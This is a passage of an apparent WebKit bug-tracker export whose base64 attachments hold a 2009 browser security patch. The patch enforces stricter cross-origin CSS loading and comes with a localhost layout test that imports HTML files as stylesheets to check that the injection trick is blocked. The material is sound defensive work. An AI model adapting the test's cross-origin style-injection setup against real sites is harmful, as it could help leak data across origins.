PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExh
eW91dFRlc3RzL2h0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3JpZ2luLWNzcy5odG1sCShyZXZp
c2lvbiAwKQorKysgTGF5b3V0VGVzdHMvaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4t
Y3NzLmh0bWwJKHJldmlzaW9uIDApCkBAIC0wLDAgKzEsNDcgQEAKKzxodG1sPgorPGhlYWQ+Cis8
bGluayByZWw9InN0eWxlc2hlZXQiCisgICAgICBocmVmPSJyZXNvdXJjZXMvcmVkaXIucGhwP3Vy
bD1odHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MxLmh0
bWwiPjwvbGluaz4KKzxsaW5rIHJlbD0ic3R5bGVzaGVldCIKKyAgICAgIHR5cGU9InRleHQvY3Nz
IgorICAgICAgaHJlZj0icmVzb3VyY2VzL3JlZGlyLnBocD91cmw9aHR0cDovL2xvY2FsaG9zdDo4
MDAwL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMi5odG1sIj48L2xpbms+Cis8bGluayBy
ZWw9InN0eWxlc2hlZXQiCisgICAgICBocmVmPSJyZXNvdXJjZXMvcmVkaXIucGhwP3VybD1odHRw
Oi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MxLmNzcyI+PC9s
aW5rPgorPGxpbmsgcmVsPSJzdHlsZXNoZWV0IgorICAgICAgaHJlZj0icmVzb3VyY2VzL3hvcmln
aW5jc3MzLmh0bWwiPjwvbGluaz4KKzxzY3JpcHQ+CitpZiAod2luZG93LmxheW91dFRlc3RDb250
cm9sbGVyKSB7CisgIGxheW91dFRlc3RDb250cm9sbGVyLndhaXRVbnRpbERvbmUoKTsKKyAgbGF5
b3V0VGVzdENvbnRyb2xsZXIuZHVtcEFzVGV4dCgpOworfQorCit3aW5kb3cub25sb2FkID0gZnVu
Y3Rpb24oKSB7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZDEiKTsKKyAgZWxl
LmlubmVyVGV4dCA9ICJMSU5LIENyb3NzLW9yaWdpbiwgSFRNTCwgdmFsaWQ6ICIgKyB3aW5kb3cu
Z2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwpLmdldFByb3BlcnR5VmFsdWUoJ2JhY2tncm91bmQt
Y29sb3InKTsKKyAgZWxlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImlkMiIpOworICBlbGUu
aW5uZXJUZXh0ID0gIkxJTksgKyBJTVBPUlQgQ3Jvc3Mtb3JpZ2luLCBIVE1MLCBpbnZhbGlkOiAi
ICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVlKCdi
YWNrZ3JvdW5kLWNvbG9yJyk7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZDMi
KTsKKyAgZWxlLmlubmVyVGV4dCA9ICJMSU5LIENyb3NzLW9yaWdpbiwgQ1NTLCBpbnZhbGlkOiAi
ICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVlKCdi
YWNrZ3JvdW5kLWNvbG9yJyk7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZDQi
KTsKKyAgZWxlLmlubmVyVGV4dCA9ICJMSU5LIFNhbWUtb3JpZ2luLCBIVE1MLCBpbnZhbGlkOiAi
ICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVlKCdi
YWNrZ3JvdW5kLWNvbG9yJyk7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJpZDUi
KTsKKyAgZWxlLmlubmVyVGV4dCA9ICJJTVBPUlQgQ3Jvc3Mtb3JpZ2luLCBIVE1MLCB2YWxpZDog
IiArIHdpbmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVsbCkuZ2V0UHJvcGVydHlWYWx1ZSgn
YmFja2dyb3VuZC1jb2xvcicpOworICBlbGUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaWQ2
Iik7CisgIGVsZS5pbm5lclRleHQgPSAiSU1QT1JUIENyb3NzLW9yaWdpbiwgQ1NTLCBpbnZhbGlk
OiAiICsgd2luZG93LmdldENvbXB1dGVkU3R5bGUoZWxlLCBudWxsKS5nZXRQcm9wZXJ0eVZhbHVl
KCdiYWNrZ3JvdW5kLWNvbG9yJyk7CisgIGVsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJp
ZDciKTsKKyAgZWxlLmlubmVyVGV4dCA9ICJJTVBPUlQgU2FtZS1vcmlnaW4sIEhUTUwsIGludmFs
aWQ6ICIgKyB3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwpLmdldFByb3BlcnR5VmFs
dWUoJ2JhY2tncm91bmQtY29sb3InKTsKKworICBpZiAod2luZG93LmxheW91dFRlc3RDb250cm9s
bGVyKQorICAgIGxheW91dFRlc3RDb250cm9sbGVyLm5vdGlmeURvbmUoKTsKK30KKzwvc2NyaXB0
PgorPHN0eWxlPgorLyogRGVsaWJlcmF0ZWx5IHJldXNlIHRoZSBzYW1lIGZpbGUgLyBjbGFzcyAv
IGlkIG9uIHRoaXMgZmlyc3Qgb25lICovCitAaW1wb3J0ICJyZXNvdXJjZXMvcmVkaXIucGhwP3Vy
bD1odHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MyLmh0
bWwiOworQGltcG9ydCAicmVzb3VyY2VzL3JlZGlyLnBocD91cmw9aHR0cDovL2xvY2FsaG9zdDo4
MDAwL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzNC5odG1sIjsKK0BpbXBvcnQgInJlc291
cmNlcy9yZWRpci5waHA/dXJsPWh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS9yZXNvdXJj
ZXMveG9yaWdpbmNzczIuY3NzIjsKK0BpbXBvcnQgInJlc291cmNlcy94b3JpZ2luY3NzNS5odG1s
IjsKKzwvc3R5bGU+Cis8L2hlYWQ+Cis8Ym9keT48ZGl2IGlkPSJpZDEiIGNsYXNzPSJpZDEiPjwv
ZGl2PjxkaXYgaWQ9ImlkMiIgY2xhc3M9ImlkMiI+PC9kaXY+PGRpdiBpZD0iaWQzIiBjbGFzcz0i
aWQzIj48L2Rpdj48ZGl2IGlkPSJpZDQiIGNsYXNzPSJpZDQiPjwvZGl2PjxkaXYgaWQ9ImlkNSIg
Y2xhc3M9ImlkNSI+PC9kaXY+PGRpdiBpZD0iaWQ2IiBjbGFzcz0iaWQ2Ij48L2Rpdj48ZGl2IGlk
PSJpZDciIGNsYXNzPSJpZDciPjwvZGl2PjwvYm9keT4KKzwvaHRtbD4KSW5kZXg6IExheW91dFRl
c3RzL0NoYW5nZUxvZwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cJKHJldmlz
aW9uIDUwNzU2KQorKysgTGF5b3V0VGVzdHMvQ2hhbmdlTG9nCSh3b3JraW5nIGNvcHkpCkBAIC0x
LDMgKzEsMjMgQEAKKzIwMDktMTEtMTEgIENocmlzIEV2YW5zICA8Y2V2YW5zQGNocm9taXVtLm9y
Zz4KKworICAgICAgICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKworICAgICAgICBUZXN0
IGZvciBodHRwczovL2J1Z3Mud2Via2l0Lm9yZy9zaG93X2J1Zy5jZ2k/aWQ9Mjk4MjAKKyAgICAg
ICAgQWRvcHQgYSBtb3JlIGNvbnNlcnZhdGl2ZSBhcHByb2FjaCBmb3IgbG9hZGluZyBDU1MgY3Jv
c3Mtb3JpZ2luLgorCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4t
Y3NzLmh0bWw6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3Jp
Z2luLWNzcy1leHBlY3RlZC50eHQ6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJp
dHkvY3Jvc3Mtb3JpZ2luLWNzcy1pbi14bWwueG1sOiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rl
c3RzL3NlY3VyaXR5L2Nyb3NzLW9yaWdpbi1jc3MtaW4teG1sLWV4cGVjdGVkLnR4dDogQWRkZWQu
CisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczEuY3Nz
OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2lu
Y3NzMi5jc3M6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2Vz
L3hvcmlnaW5jc3MxLmh0bWw6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkv
cmVzb3VyY2VzL3hvcmlnaW5jc3MyLmh0bWw6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMv
c2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3MzLmh0bWw6IEFkZGVkLgorICAgICAgICAqIGh0
dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M0Lmh0bWw6IEFkZGVkLgorICAg
ICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M1Lmh0bWw6IEFk
ZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M2
Lmh0bWw6IEFkZGVkLgorCiAyMDA5LTExLTEwICBQaGlsaXBwZSBOb3JtYW5kICA8cG5vcm1hbmRA
aWdhbGlhLmNvbT4KIAogICAgICAgICBSZXZpZXdlZCBieSBFcmljIFNlaWRlbC4K
</data>
<flag name="review"
          id="24661"
          type_id="1"
          status="-"
          setter="hyatt"
    />
          </attachment>
          <attachment
              isobsolete="0"
              ispatch="1"
              isprivate="0"
          >
            <attachid>44830</attachid>
            <date>2009-12-14 18:02:27 -0800</date>
            <delta_ts>2010-01-04 15:10:37 -0800</delta_ts>
            <desc>Latest patch -- merge with WebKit head</desc>
            <filename>wbcss3.diff</filename>
            <type>text/plain</type>
            <size>21666</size>
            <attacher name="Chris Evans">scarybeasts</attacher>
            
              <data encoding="base64">SW5kZXg6IFdlYkNvcmUvZG9tL1Byb2Nlc3NpbmdJbnN0cnVjdGlvbi5jcHAKPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQot
LS0gV2ViQ29yZS9kb20vUHJvY2Vzc2luZ0luc3RydWN0aW9uLmNwcAkocmV2aXNpb24gNTIxMTkp
CisrKyBXZWJDb3JlL2RvbS9Qcm9jZXNzaW5nSW5zdHJ1Y3Rpb24uY3BwCSh3b3JraW5nIGNvcHkp
CkBAIC0yMDQsNyArMjA0LDEwIEBACiAjZW5kaWYKICAgICBSZWZQdHI8Q1NTU3R5bGVTaGVldD4g
bmV3U2hlZXQgPSBDU1NTdHlsZVNoZWV0OjpjcmVhdGUodGhpcywgdXJsLCBjaGFyc2V0KTsKICAg
ICBtX3NoZWV0ID0gbmV3U2hlZXQ7Ci0gICAgcGFyc2VTdHlsZVNoZWV0KHNoZWV0LT5zaGVldFRl
eHQoKSk7CisgICAgLy8gV2UgZG9uJ3QgbmVlZCB0aGUgY3Jvc3Mtb3JpZ2luIHNlY3VyaXR5IGNo
ZWNrIGhlcmUgYmVjYXVzZSB3ZSBhcmUKKyAgICAvLyBnZXR0aW5nIHRoZSBzaGVldCB0ZXh0IGlu
ICJzdHJpY3QiIG1vZGUuIFRoaXMgZW5mb3JjZXMgYSB2YWxpZCBDU1MgTUlNRQorICAgIC8vIHR5
cGUuCisgICAgcGFyc2VTdHlsZVNoZWV0KHNoZWV0LT5zaGVldFRleHQodHJ1ZSkpOwogICAgIG5l
d1NoZWV0LT5zZXRUaXRsZShtX3RpdGxlKTsKICAgICBuZXdTaGVldC0+c2V0TWVkaWEoTWVkaWFM
aXN0OjpjcmVhdGUobmV3U2hlZXQuZ2V0KCksIG1fbWVkaWEpKTsKICAgICBuZXdTaGVldC0+c2V0
RGlzYWJsZWQobV9hbHRlcm5hdGUpOwpJbmRleDogV2ViQ29yZS9DaGFuZ2VMb2cKPT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PQotLS0gV2ViQ29yZS9DaGFuZ2VMb2cJKHJldmlzaW9uIDUyMTE5KQorKysgV2ViQ29yZS9DaGFu
Z2VMb2cJKHdvcmtpbmcgY29weSkKQEAgLTEsMyArMSwzOSBAQAorMjAwOS0xMS0xMSAgQ2hyaXMg
RXZhbnMgIDxjZXZhbnNAY2hyb21pdW0ub3JnPgorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9E
WSAoT09QUyEpLgorCisgICAgICAgIEFkb3B0IGEgbW9yZSBjb25zZXJ2YXRpdmUgYXBwcm9hY2gg
Zm9yIGxvYWRpbmcgQ1NTIGNyb3NzLW9yaWdpbi4gV2hlbgorICAgICAgICBsb2FkaW5nIENTUyBj
cm9zcy1vcmlnaW4sIGl0IG11c3QgYmUgc3RhcnQgd2l0aCB2YWxpZCBDU1MgaWYgdGhlIE1JTUUK
KyAgICAgICAgdHlwZSBpcyBicm9rZW4uCisKKyAgICAgICAgaHR0cHM6Ly9idWdzLndlYmtpdC5v
cmcvc2hvd19idWcuY2dpP2lkPTI5ODIwCisKKyAgICAgICAgVGVzdDogaHR0cC90ZXN0cy9zZWN1
cml0eS9jcm9zcy1vcmlnaW4tY3NzLmh0bWwKKyAgICAgICAgVGVzdDogaHR0cC90ZXN0cy9zZWN1
cml0eS9jcm9zcy1vcmlnaW4tY3NzLWluLXhtbC54bWwKKworICAgICAgICAqIGh0bWwvSFRNTExp
bmtFbGVtZW50LmNwcDoKKyAgICAgICAgKFdlYkNvcmU6OkhUTUxMaW5rRWxlbWVudDo6c2V0Q1NT
U3R5bGVTaGVldCk6IEVuZm9yY2Ugc3RyaWN0ZXIgbG9hZAorICAgICAgICByZXF1aXJlbWVudHMg
Zm9yIGNyb3NzLW9yaWdpbiBsb2Fkcy4KKyAgICAgICAgKiBjc3MvQ1NTSW1wb3J0UnVsZS5jcHA6
CisgICAgICAgIChXZWJDb3JlOjpDU1NJbXBvcnRSdWxlOjpzZXRDU1NTdHlsZVNoZWV0KTogRW5m
b3JjZSBzdHJpY3RlciBsb2FkCisgICAgICAgIHJlcXVpcmVtZW50cyBmb3IgY3Jvc3Mtb3JpZ2lu
IGxvYWRzLgorICAgICAgICAqIGNzcy9DU1NTdHlsZVNoZWV0Lmg6CisgICAgICAgICogY3NzL0NT
U1N0eWxlU2hlZXQuY3BwOgorICAgICAgICAqIGNzcy9DU1NQYXJzZXIuY3BwOgorICAgICAgICAq
IGNzcy9DU1NHcmFtbWFyLnk6CisgICAgICAgICogY3NzL0NTU1BhcnNlci5oOgorICAgICAgICBB
ZGQgYWJpbGl0eSB0byB0ZWxsIHdoZXRoZXIgdGhlIENTUyBwYXJzZSBzdGFydGVkIHdpdGggYSBz
eW50YWN0aWNhbGx5CisgICAgICAgIHZhbGlkIENTUyBydWxlLgorICAgICAgICAqIGxvYWRlci9D
YWNoZWRDU1NTdHlsZVNoZWV0Lmg6CisgICAgICAgICogbG9hZGVyL0NhY2hlZENTU1N0eWxlU2hl
ZXQuY3BwOgorICAgICAgICAoV2ViQ29yZTo6Q2FjaGVkQ1NTU3R5bGVTaGVldDo6c2hlZXRUZXh0
KTogQWRkIGFiaWxpdHkgdG8gcmV0dXJuCisgICAgICAgIHdoZXRoZXIgdGhlIE1JTUUgdHlwZSB3
YXMgYWNjZXB0YWJsZSBmb3IgQ1NTLgorICAgICAgICAoV2ViQ29yZTo6Q2FjaGVkQ1NTU3R5bGVT
aGVldDo6Y2FuVXNlU2hlZXQpOiBJZiByZXF1ZXN0ZWQsIHJldHVybgorICAgICAgICB3aGV0aGVy
IHRoZSBNSU1FIHR5cGUgd2FzIHZhbGlkIG9yIG5vdC4KKyAgICAgICAgKiBkb20vUHJvY2Vzc2lu
Z0luc3RydWN0aW9uLmNwcAorICAgICAgICAoV2ViQ29yZTo6UHJvY2Vzc2luZ0luc3RydWN0aW9u
OjpzZXRDU1NTdHlsZVNoZWV0KTogTWFrZSB1c2Ugb2Ygc3RyaWN0CisgICAgICAgIG1vZGUgZXhw
bGljaXQgYW5kIGFkZCBjb21tZW50LgorCiAyMDA5LTEyLTE0ICBBbGV4ZXkgUHJvc2t1cnlha292
ICA8YXBAYXBwbGUuY29tPgogCiAgICAgICAgIFJldmlld2VkIGJ5IERhdmUgSHlhdHQuCkluZGV4
OiBXZWJDb3JlL2h0bWwvSFRNTExpbmtFbGVtZW50LmNwcAo9PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3Jl
L2h0bWwvSFRNTExpbmtFbGVtZW50LmNwcAkocmV2aXNpb24gNTIxMTkpCisrKyBXZWJDb3JlL2h0
bWwvSFRNTExpbmtFbGVtZW50LmNwcAkod29ya2luZyBjb3B5KQpAQCAtMjU5LDYgKzI1OSw4IEBA
CiAKICAgICBib29sIHN0cmljdFBhcnNpbmcgPSAhZG9jdW1lbnQoKS0+aW5Db21wYXRNb2RlKCk7
CiAgICAgYm9vbCBlbmZvcmNlTUlNRVR5cGUgPSBzdHJpY3RQYXJzaW5nOworICAgIGJvb2wgY3Jv
c3NPcmlnaW5DU1MgPSBmYWxzZTsKKyAgICBib29sIHZhbGlkTUlNRVR5cGUgPSBmYWxzZTsKICAg
ICBib29sIG5lZWRzU2l0ZVNwZWNpZmljUXVpcmtzID0gZG9jdW1lbnQoKS0+cGFnZSgpICYmIGRv
Y3VtZW50KCktPnBhZ2UoKS0+c2V0dGluZ3MoKS0+bmVlZHNTaXRlU3BlY2lmaWNRdWlya3MoKTsK
IAogICAgIC8vIENoZWNrIHRvIHNlZSBpZiB3ZSBzaG91bGQgZW5mb3JjZSB0aGUgTUlNRSB0eXBl
IG9mIHRoZSBDU1MgcmVzb3VyY2UgaW4gc3RyaWN0IG1vZGUuCkBAIC0yNzQsOSArMjc2LDIwIEBA
CiAgICAgfQogI2VuZGlmCiAKLSAgICBTdHJpbmcgc2hlZXRUZXh0ID0gc2hlZXQtPnNoZWV0VGV4
dChlbmZvcmNlTUlNRVR5cGUpOworICAgIFN0cmluZyBzaGVldFRleHQgPSBzaGVldC0+c2hlZXRU
ZXh0KGVuZm9yY2VNSU1FVHlwZSwgJnZhbGlkTUlNRVR5cGUpOwogICAgIG1fc2hlZXQtPnBhcnNl
U3RyaW5nKHNoZWV0VGV4dCwgc3RyaWN0UGFyc2luZyk7CiAKKyAgICAvLyBJZiB3ZSdyZSBsb2Fk
aW5nIGEgc3R5bGVzaGVldCBjcm9zcy1vcmlnaW4sIGFuZCB0aGUgTUlNRSB0eXBlIGlzIG5vdAor
ICAgIC8vIHN0YW5kYXJkLCByZXF1aXJlIHRoZSBDU1MgdG8gYXQgbGVhc3Qgc3RhcnQgd2l0aCBh
IHN5bnRhY3RpY2FsbHkKKyAgICAvLyB2YWxpZCBDU1MgcnVsZS4KKyAgICAvLyBUaGlzIHByZXZl
bnRzIGFuIGF0dGFja2VyIHBsYXlpbmcgZ2FtZXMgYnkgaW5qZWN0aW5nIENTUyBzdHJpbmdzIGlu
dG8KKyAgICAvLyBIVE1MLCBYTUwsIEpTT04sIGV0Yy4gZXRjLgorICAgIGlmICghZG9jdW1lbnQo
KS0+c2VjdXJpdHlPcmlnaW4oKS0+Y2FuUmVxdWVzdChLVVJMKFBhcnNlZFVSTFN0cmluZywgdXJs
KSkpCisgICAgICAgIGNyb3NzT3JpZ2luQ1NTID0gdHJ1ZTsKKworICAgIGlmIChjcm9zc09yaWdp
bkNTUyAmJiAhdmFsaWRNSU1FVHlwZSAmJiAhbV9zaGVldC0+aGFzU3ludGFjdGljYWxseVZhbGlk
Q1NTSGVhZGVyKCkpCisgICAgICAgIG1fc2hlZXQgPSBDU1NTdHlsZVNoZWV0OjpjcmVhdGUodGhp
cywgdXJsLCBjaGFyc2V0KTsKKwogICAgIGlmIChzdHJpY3RQYXJzaW5nICYmIG5lZWRzU2l0ZVNw
ZWNpZmljUXVpcmtzKSB7CiAgICAgICAgIC8vIFdvcmsgYXJvdW5kIDxodHRwczovL2J1Z3Mud2Vi
a2l0Lm9yZy9zaG93X2J1Zy5jZ2k/aWQ9MjgzNTA+LgogICAgICAgICBERUZJTkVfU1RBVElDX0xP
Q0FMKGNvbnN0IFN0cmluZywgc2xhc2hLSFRNTEZpeGVzRG90Q3NzLCAoIi9LSFRNTEZpeGVzLmNz
cyIpKTsKSW5kZXg6IFdlYkNvcmUvY3NzL0NTU1N0eWxlU2hlZXQuY3BwCj09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0t
IFdlYkNvcmUvY3NzL0NTU1N0eWxlU2hlZXQuY3BwCShyZXZpc2lvbiA1MjExOSkKKysrIFdlYkNv
cmUvY3NzL0NTU1N0eWxlU2hlZXQuY3BwCSh3b3JraW5nIGNvcHkpCkBAIC00Miw2ICs0Miw3IEBA
CiAgICAgLCBtX2xvYWRDb21wbGV0ZWQoZmFsc2UpCiAgICAgLCBtX3N0cmljdFBhcnNpbmcoIXBh
cmVudFNoZWV0IHx8IHBhcmVudFNoZWV0LT51c2VTdHJpY3RQYXJzaW5nKCkpCiAgICAgLCBtX2lz
VXNlclN0eWxlU2hlZXQocGFyZW50U2hlZXQgPyBwYXJlbnRTaGVldC0+aXNVc2VyU3R5bGVTaGVl
dCgpIDogZmFsc2UpCisgICAgLCBtX2hhc1N5bnRhY3RpY2FsbHlWYWxpZENTU0hlYWRlcih0cnVl
KQogewogfQogCkBAIC01Myw2ICs1NCw3IEBACiAgICAgLCBtX2xvYWRDb21wbGV0ZWQoZmFsc2Up
CiAgICAgLCBtX3N0cmljdFBhcnNpbmcoZmFsc2UpCiAgICAgLCBtX2lzVXNlclN0eWxlU2hlZXQo
ZmFsc2UpCisgICAgLCBtX2hhc1N5bnRhY3RpY2FsbHlWYWxpZENTU0hlYWRlcih0cnVlKQogewog
fQogCkBAIC02Miw2ICs2NCw3IEBACiAgICAgLCBtX2NoYXJzZXQoY2hhcnNldCkKICAgICAsIG1f
bG9hZENvbXBsZXRlZChmYWxzZSkKICAgICAsIG1fc3RyaWN0UGFyc2luZyghb3duZXJSdWxlIHx8
IG93bmVyUnVsZS0+dXNlU3RyaWN0UGFyc2luZygpKQorICAgICwgbV9oYXNTeW50YWN0aWNhbGx5
VmFsaWRDU1NIZWFkZXIodHJ1ZSkKIHsKICAgICBDU1NTdHlsZVNoZWV0KiBwYXJlbnRTaGVldCA9
IG93bmVyUnVsZSA/IG93bmVyUnVsZS0+cGFyZW50U3R5bGVTaGVldCgpIDogMDsKICAgICBtX2Rv
YyA9IHBhcmVudFNoZWV0ID8gcGFyZW50U2hlZXQtPmRvYygpIDogMDsKSW5kZXg6IFdlYkNvcmUv
Y3NzL0NTU1N0eWxlU2hlZXQuaAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBXZWJDb3JlL2Nzcy9DU1NTdHlsZVNo
ZWV0LmgJKHJldmlzaW9uIDUyMTE5KQorKysgV2ViQ29yZS9jc3MvQ1NTU3R5bGVTaGVldC5oCSh3
b3JraW5nIGNvcHkpCkBAIC05NSw2ICs5NSw4IEBACiAKICAgICB2b2lkIHNldElzVXNlclN0eWxl
U2hlZXQoYm9vbCBiKSB7IG1faXNVc2VyU3R5bGVTaGVldCA9IGI7IH0KICAgICBib29sIGlzVXNl
clN0eWxlU2hlZXQoKSBjb25zdCB7IHJldHVybiBtX2lzVXNlclN0eWxlU2hlZXQ7IH0KKyAgICB2
b2lkIHNldEhhc1N5bnRhY3RpY2FsbHlWYWxpZENTU0hlYWRlcihib29sIGIpIHsgbV9oYXNTeW50
YWN0aWNhbGx5VmFsaWRDU1NIZWFkZXIgPSBiOyB9CisgICAgYm9vbCBoYXNTeW50YWN0aWNhbGx5
VmFsaWRDU1NIZWFkZXIoKSBjb25zdCB7IHJldHVybiBtX2hhc1N5bnRhY3RpY2FsbHlWYWxpZENT
U0hlYWRlcjsgfQogCiBwcml2YXRlOgogICAgIENTU1N0eWxlU2hlZXQoTm9kZSogb3duZXJOb2Rl
LCBjb25zdCBTdHJpbmcmIGhyZWYsIGNvbnN0IFN0cmluZyYgY2hhcnNldCk7CkBAIC0xMTAsNiAr
MTEyLDcgQEAKICAgICBib29sIG1fbG9hZENvbXBsZXRlZCA6IDE7CiAgICAgYm9vbCBtX3N0cmlj
dFBhcnNpbmcgOiAxOwogICAgIGJvb2wgbV9pc1VzZXJTdHlsZVNoZWV0IDogMTsKKyAgICBib29s
IG1faGFzU3ludGFjdGljYWxseVZhbGlkQ1NTSGVhZGVyIDogMTsKIH07CiAKIH0gLy8gbmFtZXNw
YWNlCkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NQYXJzZXIuY3BwCj09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFdlYkNv
cmUvY3NzL0NTU1BhcnNlci5jcHAJKHJldmlzaW9uIDUyMTE5KQorKysgV2ViQ29yZS9jc3MvQ1NT
UGFyc2VyLmNwcAkod29ya2luZyBjb3B5KQpAQCAtMTM5LDYgKzEzOSw3IEBACiAgICAgLCBtX2N1
cnJlbnRTaG9ydGhhbmQoMCkKICAgICAsIG1faW1wbGljaXRTaG9ydGhhbmQoZmFsc2UpCiAgICAg
LCBtX2hhc0ZvbnRGYWNlT25seVZhbHVlcyhmYWxzZSkKKyAgICAsIG1faGFkU3ludGFjdGljYWxs
eVZhbGlkQ1NTUnVsZShmYWxzZSkKICAgICAsIG1fZGVmYXVsdE5hbWVzcGFjZShzdGFyQXRvbSkK
ICAgICAsIG1fZGF0YSgwKQogICAgICwgeXlfc3RhcnQoMSkKQEAgLTUyMzMsNiArNTIzNCwxMiBA
QAogICAgIHJldHVybiBrZXlmcmFtZVB0cjsKIH0KIAordm9pZCBDU1NQYXJzZXI6OmludmFsaWRC
bG9ja0hpdCgpCit7CisgICAgaWYgKG1fc3R5bGVTaGVldCAmJiAhbV9oYWRTeW50YWN0aWNhbGx5
VmFsaWRDU1NSdWxlKQorICAgICAgICBtX3N0eWxlU2hlZXQtPnNldEhhc1N5bnRhY3RpY2FsbHlW
YWxpZENTU0hlYWRlcihmYWxzZSk7Cit9CisKIHN0YXRpYyBpbnQgY3NzUHJvcGVydHlJRChjb25z
dCBVQ2hhciogcHJvcGVydHlOYW1lLCB1bnNpZ25lZCBsZW5ndGgpCiB7CiAgICAgaWYgKCFsZW5n
dGgpCkluZGV4OiBXZWJDb3JlL2Nzcy9DU1NHcmFtbWFyLnkKPT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gV2ViQ29y
ZS9jc3MvQ1NTR3JhbW1hci55CShyZXZpc2lvbiA1MjExOSkKKysrIFdlYkNvcmUvY3NzL0NTU0dy
YW1tYXIueQkod29ya2luZyBjb3B5KQpAQCAtMzg2LDcgKzM4Niw5IEBACiAgIDsKIAogcnVsZToK
LSAgICB2YWxpZF9ydWxlCisgICAgdmFsaWRfcnVsZSB7CisgICAgICAgIHN0YXRpY19jYXN0PENT
U1BhcnNlcio+KHBhcnNlciktPm1faGFkU3ludGFjdGljYWxseVZhbGlkQ1NTUnVsZSA9IHRydWU7
CisgICAgfQogICB8IGludmFsaWRfcnVsZQogICB8IGludmFsaWRfYXQKICAgOwpAQCAtMTQ3Nyw4
ICsxNDc5LDEyIEBACiAgICAgOwogCiBpbnZhbGlkX2Jsb2NrOgotICAgICd7JyBlcnJvciBpbnZh
bGlkX2Jsb2NrX2xpc3QgZXJyb3IgY2xvc2luZ19icmFjZQotICB8ICd7JyBlcnJvciBjbG9zaW5n
X2JyYWNlCisgICAgJ3snIGVycm9yIGludmFsaWRfYmxvY2tfbGlzdCBlcnJvciBjbG9zaW5nX2Jy
YWNlIHsKKyAgICAgICAgc3RhdGljX2Nhc3Q8Q1NTUGFyc2VyKj4ocGFyc2VyKS0+aW52YWxpZEJs
b2NrSGl0KCk7CisgICAgfQorICB8ICd7JyBlcnJvciBjbG9zaW5nX2JyYWNlIHsKKyAgICAgICAg
c3RhdGljX2Nhc3Q8Q1NTUGFyc2VyKj4ocGFyc2VyKS0+aW52YWxpZEJsb2NrSGl0KCk7CisgICAg
